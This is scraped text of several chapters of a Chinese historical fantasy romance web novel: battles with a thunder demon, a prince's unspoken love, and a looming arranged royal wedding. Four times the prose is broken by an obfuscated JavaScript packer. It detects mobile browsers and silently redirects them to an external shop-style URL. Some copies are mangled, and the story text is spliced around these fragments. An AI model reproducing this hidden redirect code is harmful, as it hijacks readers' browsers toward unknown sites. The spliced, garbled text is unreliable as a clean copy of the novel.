;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633001|143643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一道白光划断黑云,落在李如霜面前,那人指甲又黑又长,浑身还带着电,滋滋啦啦地响,如阴曹地府跑出来的鬼。 李如霜没有预料到能在此见到他,她目眦欲裂,咬牙切齿地念出那人的名字:“冥丰!” 冥丰黑色的嘴唇咧开,漏出一口黄牙,“小姑娘,咱们又见面了。” 她心中警铃大作,这惊雷鬼冥丰是赫连王室的得力干将,他在此地拦住她,莫非已经被纳入葛连虎麾下了。 “小姑娘,我劝你把马上的人放下,这不是你能参与进来的事情。”冥丰显然不把她放在眼里。 冥丰知晓她的身份,今日见了面他来日若告到赫连王那里去,岂不是为自己惹来麻烦,不如今日斩草除根以绝后患。 李如霜此刻失了赶路的意愿,飞身下马立于冥丰之前道:“冥丰,既然在这遇见了,就把昔日我兄长身上和下邽的账都算干净!” 扶蛇旋转成风,席卷着霜雪裹于周身,朝冥丰冲去,这一招是她鞭法的基本招式,名叫:风雪如霜。冥丰看着离他越来越近的李如霜,嗤笑道:“雕虫小技。” 只听天上雷声阵阵,冥丰手中生电抵住李如霜的攻势,过了几十鞭后,他似是有些不耐烦,猛地将李如霜击退,李如霜急忙稳住身形,脚尖点地几次终于站住。 冥丰双手朝天,顿时雷声震耳,李如霜顿时手背青筋暴起,她知道这是惊雷鬼冥丰的五雷轰顶。当初他们李家军与赫连军队在下邽一战,他就是用这一招让李家士兵毫无还手之力,最后还是她父帅亲自出马,伤了这惊雷鬼。 李如霜不敢迟疑,真气铺满整条鞭子,在那闪电劈下之时挥出,一时间她周身的冰雪被打散,鞭上充满了雷电,而跟着她一起的士兵已经被烧得外焦里嫩,从马上掉了下来。 “冥丰!”李如霜胸中震荡,愤怒地吼了一声,她啪地将那闪电抽回去,用鞭子卷住冥丰一只手,拽到身前。 冥丰毫不在意被束缚的那只手,只见他另一只手抚上李如霜的鞭子,狡诈地怪笑,闪电从他手中生出,顺着鞭子向李如霜的方向蔓延去。 他眼睛眯成一条缝,似乎已经想见,眼前美若天仙的女人就要变得焦黑似漆了,冥丰恶趣味的地歪嘴笑着。 电流忽地在李如霜握着鞭子的手前停下,冥丰见李如霜毫发无伤,才发觉端倪,他看着扶蛇吃了一惊,难以置信地张大了嘴巴道:“怎么会?” 李如霜就等着冥丰这一股电流,只有这样她才能将他杀死。她满眼恨意道:“这一招是跟你学的,名叫回雷鞭。” 话音刚落,只见鞭上的白色的电忽然变成了紫色,回流向冥丰,冥丰挣扎不开扶蛇的捆绑,硬生生吃下了所有的雷电。 李如霜松开他,后退了一步。冥丰感觉身上什么事都没有,哈哈大笑起来:“什么劳什子鞭子,从我体内生出的雷对我没用,小丫头!” “哦?是吗。”李如霜漫不经心地收起扶蛇,也不看他。 冥丰突然噗呲喷出一口血来,全身的骨头疼痛不已。 15. 肉末炸酱手擀面 几秒之内,冥丰跪倒在地,一句话说得断断续续:“你到底做了什么?”他挣扎了几下,随即眼底渗出黑血,睁大眼睛不动了。 李如霜怕他没死透,捡起身后士兵的刀,上前刺穿了他的脖子。终于,她李家军死去士兵的亡魂可以得到安宁,兄长被重伤的仇也得报了。 冥丰确实说得不错,他体内的雷对他自己无用,但李如霜在那雷中放了一种毒药,这个毒是莫从南给她的血眼魔。 那天莫从南与赫连昭道别之后,碰见李如霜坐在火堆旁发呆。他刚得知李如霜和赫连昭此时在闹别扭,免不了安慰李如霜一通,临走前,把血眼魔给了李如霜。 这血眼魔对于寻常人来说,是吃了以后无力回天的致命毒药,但他们上古五毒体不怕这些,只是服下后燥热非常、增长情欲。 李如霜还记得莫从南那个邪恶的眼神,他硬把这毒药塞给她,还让她好好把握机会。 与冥丰最后对决的时候,她用真气催化血眼魔,将其覆于扶蛇身上,后来雷电变紫,那便是沾染了血眼魔的迹象。 李如霜知道正面打不过冥丰,便选择此取巧的办法,刚刚催化血眼魔时用了太多真气,现如今她腿脚发软,体力不支也躺在了地上。 眼前是一片黑色,周遭一股血腥味,她不知自己何时才能站起来,咬破嘴唇,竭尽全力保持着清醒的状态,但意识却逐渐陷入灰暗。 彻底晕过去之前,突然一股艾香飘来,随即她被圈进一个温热的怀抱。 炭盆烤得噼里啪啦作响,李如霜半梦半醒间觉得身上暖烘烘的,甚是舒坦。她睁开眼睛,发觉自己躺在军中的帐子中,身上盖了条厚棉云被,她推开被子坐了起来,身上只剩了个白色交领中衣。 她慌忙地查看自己的束胸衣,还好仍穿在身,李如霜记得她刚把冥丰杀死就坚持不住倒下,差点以为自己要交代在那。 账内淡淡艾草的味道还没散去,难道是赫连昭将她救回来的?李如霜掀开被子便要下床,却一下子栽在地上,使不上劲。 罢了,她也有些乏,再躺会儿。李如霜又钻回被窝,闭上眼睛歇着,怎料忽然进来一个人。 李如霜装睡没有睁眼,隐隐约约感觉有一团阴影笼罩在自己面前,那股艾香味又出现了,这是......赫连昭。 她感觉胳膊旁的褥子凹下去一块,赫连昭脱了披貂坐在床边,看着李如霜瘦得巴掌大的小脸,视线落在干裂起皮的嘴唇上。他本不该来的,可心中实在放心不下,夜里寤寐辗转都在念着她。 都睡了一天,怎么还不醒,赫连昭有些担心,情急之中忘了自己要与她保持距离这件事,他抚上李如霜的脸,指尖触摸伊人的温度。 李如霜此时不想再装睡了,她抓住那只不安分的手,素白的眼皮睁开,漏出两汪明亮的净月,直接撞进赫连昭柔情似水的眼眸中。 两两相望,帐内的空气变得粘稠起来,李如霜眼神中既有窃喜又有不解,为什么你赫连昭之前将话说得那样绝,如今却坐在床边,上手摸我的脸。 赫连昭手瑟缩了一下收回来,头偏向一旁道:“刘将军让我看看你醒了没......既然你醒了,我就不打扰了。”他头也不回就走了出去。 李如霜胸脯起伏着,她看着紧闭的帐帘许久,而后冷笑一声。他们之间的感情就如此脆弱,连让赫连昭正视自己的内心都做不到。想着想着,又迁怒到了赫连煜身上,心想他真是有个重情重义的好弟弟,临走前就应该逼着他与赫连昭好好解释一番。 她越想越气,重重地捶着床,把自己蒙在被子里。 赫连昭那日进了达鲁古,城内庄子商铺紧闭门窗,便直接去了城主府,遇到留在府中盯梢的王室军士兵才得知,李如霜去追葛连虎了。 他毫不犹豫直接往北行去,赶到时却看见地上倒着三个人,一个双眼流血指甲漆黑,这人他认识,是赫连王室的座上宾冥丰,还有一个头发烧得卷曲,面目焦黑看不出人样。 而李如霜则昏在冥丰旁边,吓得赫连昭以为出了什么意外,下马栽了个跟头,将李如霜抱在怀中探她的鼻息,只是昏过去。 他已经做了最坏的打算,还好李如霜安然无恙。赫连昭让她服下舅舅给的护体丹,又查看了其他几人。走近地上的步兵他才发现,马上还有一人,竟是那藩贼葛连虎。 赫连昭将冥丰身上的衣服脱下,扯成布条,把地上已经咽气的士兵和葛连虎牢牢绑在马背。他则环抱着李如霜共骑一匹马,两匹马用缰绳栓在一起带回达鲁古。 刘惕守看见赫连昭从李如霜的营帐出来,一脸哀怨的衰样,忙上去打趣道:“小皇子,这都第几次啦?给小副将熬的药你在旁亲自看着,怕冷着将炭盆端人家屋里,你是不是心悦人家?” 赫连昭被戳穿了心思,挠着脑袋支支吾吾地反驳道:“刘将,不是这样......” 但他心里想的什么都写在了脸上,这番口不对心的反驳毫无作用。 “别不承认了,你一个皇子喜欢人家还怕她不从啊!”刘惕守摆手,但他转念一想,又说,“也是,这小副将可不是一般人,感觉你还真拿她没辙。” 这都什么跟什么,驴唇不对马嘴,赫连昭找个理由急忙溜走了。 李如霜歇了一天一夜,身上的酸软褪去,恢复了生龙活虎的状态。她下地舞了通鞭,出一身汗,随即来到练武场操练军兵。 她站在练兵台上,审视着台下正在训练的士兵,旁边指挥长向她汇报这几天的操练日程和成效。 李如霜点点头,指挥长立即让全场静下来,顿时整个练武场鸦雀无声,无人敢喧哗。 “诸位将士!不久之后,就是此次行军的收官之战,我希望你们不要松懈!”传令兵一级一级传下去,全场回荡着李如霜的训话,“我已经交代了刘将军,把军中体恤的钱粮和保暖的物资放于你们各自的帐中。此战若胜,便有银钱奖赏!表现突出立下功劳者,更有圣上封官加爵!” 练兵场一片肃静,唯余传令兵一次次重复着李如霜的话。 “有没有信心!”李如霜调 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633002|143643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用内力,唤出让全场都听得到的音量。 台下士兵深受鼓舞,齐声回答:“有!”,喊声冲破云霄,势头充足。 李如霜接连问了三次,一次比一次的喊声响亮,她对这个战前的状态十分满意,挥手让指挥长继续指挥操练。将士们练了一天,疲惫地回到帐中,发现今日李如霜所说的慰问品,果真齐刷刷地摆在里面,顿时生起了斗志,之后的训练更加精神抖搂。 李如霜深知军队士气的重要性,即便此战很容易,也不可掉以轻心。散漫的军队就像纸糊的老虎,遇到冲击一下子就倒了。 而即将打仗的军队,应当是铜墙铁壁、刀枪不入。这不仅仅指军队的阵法、战术,还指将士们的士气。 带领士气高涨的军队上战场,就像做菜拿了一把锋利的刀,势如破竹。 如她所料,出征那日,军中士兵目光坚定,神思凛然,大军十万人压境,如猛虎扑食,不可阻挡。葛连虎已经被活捉,剩下的几个在葛连虎势力下的城池不攻自破,皆敞开城门让王室军入城。 到此才算是功德圆满,军队收尾之时,李如霜在达鲁古城中闲逛,想找找当地特色美食,但店铺酒楼一见王室军入城,都觉得不太平,故没有几家开门。 尤其她还带着面具,那面具恐怖得很,开门的店铺见着她,都拉下帘子道已经打烊了。 李如霜自从遇见冥丰后,不敢不带面具。她以前没来过赫连国,按理说遇不到熟人,但不怕一万就怕万一。前有琵衔、莫从南后有冥丰,想了想还是戴上比较保准。 走着走着看到一家食肆,一位老翁正擦着外面的桌子,见了她也没被吓到自顾自干着活。李如霜走到店内坐下,里面不大,只摆了五张桌子,墙面都是木头搭的,没有刷漆,上面经年累月包了浆。 那老翁来到她跟前询问:“客官,来点什么?”接着他报了几样店里的招牌。 “没有菜吗?”李如霜听了他说的那些,都是面条,这难道是一家面庄?老翁抱歉地弯着腰道:“姑娘,菜都是些小菜,不要钱,俺家是面庄,做出的面条可好吃了,要不您点点儿。” 李如霜不想为难他,便点了一碗肉末炸酱手擀面,不一会儿,一碗热气腾腾的面就上来了。她闻了一下,肉沫被油炸过再加入秘制酱料翻炒,咸味增添了它的醇厚,浓郁的酱香扑鼻而来,李如霜垂涎欲滴。 不行了,她本就饿着,还走了一路,此时更是饿得前胸贴着后背。李如霜飞快地将筷子架于手中,把面拌开了,挑了一大筷头裹着肉酱的面,送入嘴中。 她吃了几口,发觉少了点什么。 “老板,有没有醋!”李如霜出声询问。 老翁从后厨拿出一瓶送上来,接着又慢慢悠悠的又端上来几碟小菜。 她拿着醋瓶淋了一圈,顿时酸、咸、香的味道喷涌而出,李如霜吞着口水心想,这下对味了,便大快朵颐起来。 吃到兴头,她咬了一瓣蒜道:“老板,你这面条真不错,就是我家的厨子也做不出你这里的口感。” 16. 帝王一怒 “姑娘这口音听着家应该在东边。”老翁在柜台坐下,他身量瘦小,只漏出一个头。 李如霜正埋头吃着,听到他说话忙点了点头,她没有过多的地跟老翁交流,倒是把那碗面吃得干净,临走前留了一锭银子。 王室军进城之后,大街小巷没人走动,民生凋敝。这位老翁却还开门迎客,也没个牌匾,必定生活艰难,她能帮就帮了,这一锭银子对她来说也不算什么。 都已经快四月,达鲁古还没有回暖,地上的雪冻得结结实实。李如霜他们即将班师回朝,押送葛连虎到长安。 那葛连虎以前是和赫连王一起打天下的异姓兄弟,建立赫连王朝后,他自愿请缨来东北部边疆驻守。赫连王十分信任葛连虎,直接拨了五万军给他,葛连虎做了几年边疆霸王,吃得大腹便便、油头肥耳,整日被人捧着,与皇帝也没什么差别。 怎知他胃口大了,野心也不小,不断扩张势力范围,在边陲自立为王。 葛连虎身材肥胖,走几步就喘,根本跟不上行军的队伍,刘惕守为了加快行军脚步,还专门给他整了一个马车,把葛连虎五花大绑扔在里面。 “葛贼真是富贵命,被押回去还单独给他弄个车,咱们这些都得自己骑马。”刘惕守亲自架着马车看守葛连虎。 李如霜笑着说:“刘将军,葛连虎不仅回去的路上得坐马车,到长安以后还要坐牢车,我看他就是八字坐轿子的富贵命。” 赫连昭和刘惕守听出她言外讽刺之音,不禁笑出声来。 这时,队伍前面忽地狂风大作,踩得踏实的雪粒颗颗被卷入风中,龙狼图旗嗖嗖作响。大军前头一人蒙着面巾,提着一杆红枪从风中走出,将整个队伍拦住了。 赫连昭飞身离了马,穿过半个队伍立于那人面前喝道:“来者何人,竟敢拦我赫连王室军!” 那人不理他,身姿矫健,跃到空中往马车的方向袭去。赫连昭以为他要劫走葛连虎,挥拳打向他的背。那人像背后长了眼睛似的,察觉到赫连昭来势汹汹,回枪一点将他打落,眼神却仍看着马车。 李如霜死死地盯着那杆枪,顿时僵在马上。那人到了马车跟前,与李如霜对视一眼,将她拦腰抗于肩上,背枪于身后脚点地消失在众人的视线中,赫连昭咬着牙追了上去。 那人掳走李如霜,疾奔了几里地见四下没人,才将李如霜放下,李如霜没有挣扎任由他扛着自己。 她不说话,只见那人摘了面巾,露出俊朗的面容,隐约带着怒意,“如霜,这次你太任性了!” 她还打算装蒜,摇头道:“如霜在哪呢?” 李如羽顶着腮拽下她的面具,“还在装!”他将面具扔在地上,指着她欲言又止。 李如霜自知理亏,被弄疼了也不说,低头看着自己的靴头道:“哥......好久不见哈哈......你怎么来了?” “我也来和亲。”李如羽拍着脑门,刚才一下子情绪波动太大,有点头晕目眩。 李如霜乐了,“哥,你又开始说胡话。”兄长每次摆威严的架子几秒就破功了,亏她还陪着他演戏。 李如羽严肃的样子一扫而光,他哀怨道:“妹子,你这次闹得确实有点大,搞不好是要杀头的。”他横着在自己脖子比了一下,随即眼睛泛白,倒在地上。 赫连昭已经追了过来,连忙查看李如霜周身问:“有没有受伤?” 李如羽见他这么快就追来,也不演了,从地上站起来,用大拇指着赫连昭问李如霜:“这就是你嫁的......”话还没说完,就被赫连昭捏住脖子。 “你究竟是什么人,如此胆大妄为。”赫连昭微微用力,李如羽被他掐得呼吸不上来,直翻白眼。 李如霜连忙拍着赫连昭的胳膊说:“快松手!我和他认识!”赫连昭狐疑地看着她,终还是撒了手。 李如羽敲着胸脯边咳嗽边说:“怎么回事,他不认识我了,我也没咋变啊,咳咳!” 赫连昭刚刚被他刺了一枪心中不爽,李如羽又拦住大军把李如霜掳走,赫连昭心想此人定不是什么善类,此时对李如羽充满了敌意。 “我应该认识你吗?”赫连昭指尖一推,配刀出鞘,李如霜见状忙把刀按了回去。 李如羽痛号道:“这个妹婿居然要杀大舅哥,妹妹你快和他和离吧。” 赫连昭没否认李如羽叫错的称呼,他和李如霜被别人放在一块称作夫妇,心中莫名有一丝爽快。 李如霜一掌拍向李如羽的背,无奈道:“你别扒瞎了,说正事,你来干什么?” 只见李如羽神秘地蒙上面巾道:“到时候你就知道了。”随即背着枪疾奔而去。 “他是你兄长?”赫连昭看着那人十分不正经,心中感叹兄妹两人性格迥异。 李如霜额头冒出细汗,反正她已经撒了一百个谎也不差这一个,“不,他就是想攀上皇权,总是占我便宜说是我兄长。”几句话,就将李如羽描述成一个趋炎附势、吊儿郎当的小人。 她心中默默对李如羽道歉,不好意思了哥,谁让你那张嘴一不小心就把我的身份揭穿了。此时赫连昭还没有恢复记忆,若被他知道了恐生事端。 李如霜二人很快便赶回了队伍,刘惕守简单问了两句,李如霜都搪塞过去,也算是有惊无险。 长安城门大开,门前驻守官兵六人,两边各三人,城墙之上站了一排士兵。 李如霜跟着赫连昭随军前去,是赫连煜打通关系塞了她进军营,赫连王并不知情,她悄悄离了队伍回到了太子府。今日王室军归都,赫连煜应该去了宫里。 赫连昭位于右前,刘惕守于左后,两人身后一位将士压着葛连虎进了朝政殿,文武百官列于两边。 “参见王上!”赫连昭和刘惕守叩首跪拜,大殿内一片肃静,赫连王立即抬手:“起来。” 赫连王在长安城中,前方战报频传,听说他们此次讨伐葛贼历时短、耗资少、不费吹灰之力就拿下了棱赤山以北五座城池,生擒葛连虎,赫连王不禁对这个小儿子刮目相看。 赫连王缓缓开口:“昭儿,你这次立了大功,想要什么赏赐?” 赫连昭脸红了起来,回道:“父王,刘将军才是那立功之人,儿臣若没有刘将军的辅佐,定不会赢得这样容易。”虽然这些功劳是李如霜的,但他却不能将她供出来,只好都安在了刘将军头上。 他说得刘惕守心中不自在,虽说他确实在其中立下汗马功劳,但真正起大作用的人却是那个小姑娘。 “孤知道,你们都是有功之臣,莫要推辞了。”赫连王将案前的圣旨递给站于他身旁的金承德金太监。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633003|143643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 金太监上前一步,展开圣旨,阶下百官纷纷跪下听旨。 “奉天承运,皇帝诏曰:十皇子赫连昭与守国大将军刘惕守二人讨伐葛贼,军功无数。皆赏黄金千两,美宅三座,刘将军赐封号戟伐将军。军中将士立下一等功者,赏白银三十两,锦缎十匹。二等功者白银十两,绢布十匹。三等功者赏白银五两,绢布五匹。其余兵等赏钱十贯,稻谷五袋,钦此。” 赫连昭与刘惕守谢过皇恩,于百官之前站定,赫连王眼神瞬间阴暗下来,由喜转怒,眯着看向跪在地上被绑着的葛连虎。 “葛连虎,你抬起头来。”赫连王声音中带着一股威压,葛连虎脑门直流汗,硬着头皮抬头看着阶上的至尊之人。 只瞧了一眼,便立马伏在地上,“葛某深知罪不可恕,望王上从轻发落!” 他和赫连王在军中同吃同住数年,亲眼看着赫连王征战南北,统一西域。那时赫连王虽然是部族首领的儿子,但与军中将领之间并没有距离。 可如今再看,赫连王飞眉入鬓,神色如渊,玄衣披神树,坐在那里便让人臣服,与他这等人简直是云泥之别。 赫连王沉思了一阵,忽然问赫连煜:“煜儿,你觉得该如何处置葛贼啊。” 赫连煜道:“儿臣以为,葛连虎死罪难逃,但念在他与父王相识于微时,为建国立下功劳的份上,不要牵连其家人宗族。” 赫连王喜怒不行于色,望着殿门不知在盘算着什么,半晌他才免了赫连煜的拘礼。 他不太满意赫连煜这个答案,“煜儿,你没听说过斩草要除根吗,这句不知,那你有没有听过以一儆百。” 这一番话令赫连煜压力山大,父王在对他的话不喜时,便会拿些名言警句揶揄他。 “金承德,传令下去,葛连虎斩,株连九族,即刻行刑,与葛连虎勾结者绞毙于市,族人流放西漠雪原。” 此口谕一出,葛连虎脸都吓青了,邦邦地磕头。 “王上!王上!不要,犬子正值青春年少,他不能因为我遭此横祸啊!此事我一人做一人当......” 金承德领命下去,位于赫连王两边的带刀侍卫不顾葛连虎的哭喊,立即将他带了下去。 赫连昭心中骇然,他从没见过父王发过这么大的火,此次刑罚之重本朝前所未有。 李如霜在太子府中就听闻赫连王对葛连虎的处置,赫连煜回来后,她立即去询问,离开的这两个月,长安之中有没有发生什么大事。 “你离开之后没发生什么,但是明天有件大事。”赫连煜喝了一口暖酒,“明天你哥来。” 李如霜瞪大了眼睛,惊愕道:“我哥他来干什么?” 赫连煜放下酒杯,转了转脖子靠在方榻上,“他带着你们南州皇室的宝物来的,我只知南州有意与我们赫连交好,还有什么意图得等明日才知道。” 原来兄长是作为使臣来这的,他怎么知道自己在赫连王室军里呢,李如霜突然反应过来,指着赫连煜控诉道:“赫连煜是不是你把我的行踪告诉我哥的!” 赫连煜一脸欲笑不笑的样子道:“是又怎样,大舅哥发话了,妹婿怎敢不从。” 李如霜看着他那戏谑的样,浑身像爬满了蚁蚤一般,抽出扶蛇道:“来!赫连煜,今天咱俩必须得打一架!” 17. 罗燕金钱树 车队带着南州皇室皇家仪仗,走进长安城,城中百姓纷纷出来看热闹,孩童骑在父亲的脖颈上乐呵呵地鼓掌。百姓心中纳闷,昨日是王室军打了胜仗归来,城中敲鼓放炮相迎,怎的今日也如此热闹。 车队旁侧都是亲兵护卫,车辆香盒数不胜数,其中最显眼的是一辆台车,上面的东西用一块巨大的红布蒙着,有两层楼那么高。 李如羽进了宫,车队也在皇宫中安置,李如霜蒙着面纱与其他王子一起,站于朝政殿看着他缓步上前。 看着兄长难得这么正经的样子,李如霜面纱之下的嘴都笑歪了。 “参见赫连王!”李如羽拱手道。 赫连王打量着他,觉得此人甚是眼熟,“免礼。”他不太愿意搭理南州来的人,眼皮半垂着。 “不知南州使臣来我赫连所为何事?”赫连王单手撑着脑袋,百无聊赖地看着李如羽。 李如羽微微一笑道:“我南州有意与赫连交好,此次特将南州宝物罗燕金钱树,赠与赫连王室,以求联结之美。” 赫连王点点头道:“把那树呈上来让孤看看!” 李如羽连忙解释:“王上,那罗燕金钱树有两层楼那么高,恐怕搬不进这朝政殿,请各位随我一起前去观赏一番。” 赫连王在前,后面跟着一众太监宫女,李如霜混在王子中间,只敢贴着赫连煜走,怕别人看出什么破绽。赫连昭在旁边看着他俩亲昵的样子,眼中瞬间晦涩不堪。 众人随着李如羽到了宫里的青石院,整个院子都被一个蒙着红布的巨物占领,人们不得不仰头看着。 “王上,这就是我南州珍宝罗燕金钱树。”李如羽拽住红布的一角,刷地揭开,流光红锦布从金钱树上滑下来,如同溪水流过滑石,露出里面宝物的真面目。 顿时院子中金光盈目,晃得众人睁不开眼,只听那树发出叮叮当当清脆的声音。待缓过来后再一看,他们便明白为何这树会发出刺眼的金光。 整棵罗燕金钱树通体金黄,叶子晶莹剔透、翠意盎然。金色的枝条上挂满了铜钱大小的金币,刚刚那清脆的声音,就是这些金币被红锦布刮蹭到,互相碰撞发出的。 饶是诸位见惯了金山银山的赫连王子们,也被眼前这个通体生辉的巨大金树震撼得说不出话来。说到底,南州水田丰美,水陆运输通畅,商人来去自由,终究是更富足一些。 “罗燕金钱树通体由金子浇铸,叶子为翡翠雕琢而成,金枝上挂的是圆形金币,这罗燕金钱树寓意着五谷丰登、财源滚滚。”李如羽介绍着这件南州的珍宝,虽然南州富庶无比,但拿出这样的一件耗财耗力,浑身上下都万分贵重的礼物来,也是下了血本了。 赫连王频频点头,对南州多了几分好感,他欣赏过金钱树后问李如羽:“南州的心意孤收到了,使臣不如直说南州的意图。” 李如羽不失礼节地笑道:“王上果真洞察一切,本使臣代表南州前来请求赫连王室出兵,帮助南州渡过难关。” “你说的是?”赫连王疑惑的问。 “南方小国南陵国犯我国南部边陲,此国有一江湖门派雪灵门炼出了一种毒物,运用此物炼化成的士兵不知痛苦,被砍了头也能继续站起来,战斗能力极强,纵是我李家军也无法将其击退。” 李如羽说着说着想起了那被炼化士兵的诡异形象,不禁皱起了眉,“素闻赫连王室与北寒冰室交好,而北寒冰室善用毒,不知是否有抵挡这些鬼兵的办法。” 赫连王背着手,思索一阵道:“此事需从长计议,况且我赫连军队刚刚打完仗回来,近一个月无法动兵。不久之后就是南州公主与孤太子的婚礼,使臣不如在宫中小住,一则留下来观礼,二则商议此事。” 话都说到这了,李如羽只好答应下来。 而赫连王这番话说完,在场有二人皆如遭雷击,那就是李如霜和赫连昭。九皇子赫连复将这两人的表情尽收眼底,心中似乎明了些什么。 此二人行军期间,赫连王便将婚期定了下来,他也是为赫连煜着想。他的这位太子多年不近女色,好不容易有一个喜欢的却一点也不着急,赫连王就替他做了主,早点娶了,以免夜长梦多。 回太子府后李如霜问过赫连煜才知道,这婚礼就在小满之日,那岂不就是十日之后。她急得团团转,总不能真嫁给赫连煜,这怎么能行。 赫连煜却不着急,静坐在正厅主位的右榻上,撑着脑袋看着李如霜在自己面前不停地转圈。 李如霜看他气定神闲的样子,更加烦躁,一屁股坐在赫连煜左边,抢过他手里的茶放于桌上问:“你就不急嘛,再这样下去咱俩真的要成婚了。” 谁料赫连煜却戏谑地看着她道:“我为什么要急,咱俩成婚对我没有坏处啊。” “你!”李如霜顿时说不出话来,当日若不是赫连煜,恐怕她已成了赫连王的玩物。她自请去行军与赫连昭待在一起,也是赫连煜安排的。事到如今,她真的没有理由指责赫连煜,李如霜自行消了火,思考着怎样才能破局。 就这样赫连煜喝着茶,李如霜静坐着沉思,也过去了一炷香的时间。 一位下人忽地进来通报:“太子,十王子来了。”他话音刚落,赫连昭就进了正厅,他也是得知李如霜十日之后就要嫁给赫连煜,在自己的府中寝食难安坐不住,就到街上漫无目的地走着,不知不觉竟走到了煜哥这里。 赫连煜连连摇头,这两人还真是一直在错过,两年前他们运送星头鬼笔至长安,李如霜为了寻她的哥哥,在城门就与他们分别,此乃第一次错过。而赫连昭却失忆了,并不记得与李如霜的约定,此乃第二次错过。 李如霜千里迢迢替嫁寻夫,却嫁的不是赫连昭,此乃第三次错过。 赫连煜已经看出,赫连昭恐怕在这趟行军期间已经对李如霜动了心,两个人如此两次三番地错过,就像老天不让他们在一起一样。 赫连昭此时完全失了原先的天真,眉眼之间笼罩着散不去的乌云,来到赫连煜和李如霜跟前想说的话却说不出口,只干巴巴地问了问皇兄在都城的情况。 “一切都挺好的。”赫连煜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633004|143643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也和他干巴巴地聊着。 李如霜突然回想起出军前一晚,潜进来的那个沮郃,便问赫连煜道:“差点忘了最重要的事情,这几个月,其他皇子如何,有动静吗?” 赫连昭不明所以,其他几位皇兄怎么了? 赫连煜思索一下恍然大悟道:“有点小动作,都被我制服了,现在暂时还不敢折腾。” 他还真得感谢李如霜,老三和老六联手了,若不是她提出让自己留守长安,指不定自己的势力就被吞并成什么样。李如霜和赫连昭前脚刚走,一直支持老三和老六的几位官员就联合上书,编了个罪名安到他头上,说得有理有据。 好在自己早有准备,不至于乱了阵脚,否则父王即便再宠爱自己,也不得不随便给他降个罪做做样子。 李如霜听到赫连煜化险为夷的时候,松了一口气道:“幸好幸好。” 赫连昭这才明白,为何此次讨伐葛连虎非自己去不可,原来这都是李如霜和皇兄的谋算,利用了自己。其实他并不介意,若是能帮助皇兄渡过难关,被利用又如何。 更何况他这种胸中无谋,不谙世事之人,若是知道了缘由反而坏了事。 他看着眼前的两人,郎才女貌,皆为有勇有谋之人,真的是天作之合。赫连昭有些眼热道:“皇兄皇嫂真是好谋算。” “昭儿,你平时可不叫我皇兄,怎的称呼都变了。”赫连煜一听他这么说竟乐了,“你们俩啊,把心思都憋着,难不难受,今日就把话说个明白吧。” 从李如霜和赫连昭定情,到互相私许,赫连煜可是全程看过来的,让他娶自己的弟媳这可万万做不到。 “昭儿,这位李......南州公主呢确实与我是旧识,但我俩只是朋友情谊,那日我站出来说已与她私定终身是为了救急。” 他欲将李如霜的真实身份说出来,谁料李如霜踢了他一脚,让赫连煜生生把要说的话咽了回去。李如霜暗骂他不考虑赫连昭的死活,若是再让赫连昭发了病,又是一顿折腾。 赫连昭本已心灰意冷,只等到李如霜真的与皇兄入了洞房,便彻底死了这条心,这时赫连煜将真相告诉他,他竟不知相信还是不相信。 只觉从脚底产生一股酥麻,一直窜到头顶,血丝爬上他的眼球,显得他有些癫狂。赫连昭颤抖着问了一句:“真的吗?” 赫连煜上前按在他的肩膀上道:“真的,你与她好好聊,我先出去了。” 厅中只剩下李如霜和赫连昭二人,赫连昭不敢看李如霜,只低着头没一句话。李如霜见了他这副模样,再想起从前种种,话里便带了刺:“你怎么不看我,咱们两个真成了陌生人?” 赫连昭听了忙抬起头,不料自己脸上的情绪被李如霜看得一清二楚。她看着赫连昭发红的眼圈噗嗤一乐,心想,这大男人哭什么,从前也没见他的泪这样不值钱。 “你哭什么,不知道的还以为嫂嫂欺负了小叔子,这要是传出去,我的名声岂不坏了。”李如霜越发觉得嫂嫂和小叔子这个身份有种禁忌之感,有种偷腥的感觉。 18. 凤冠霞帔 赫连昭现在可听不得什么嫂子小叔子的话,他想起之前拿这种说辞拒绝李如霜,不好意思地脸红起来。 那时李如霜应该对他这番说法很无奈吧,明明她全都知情。 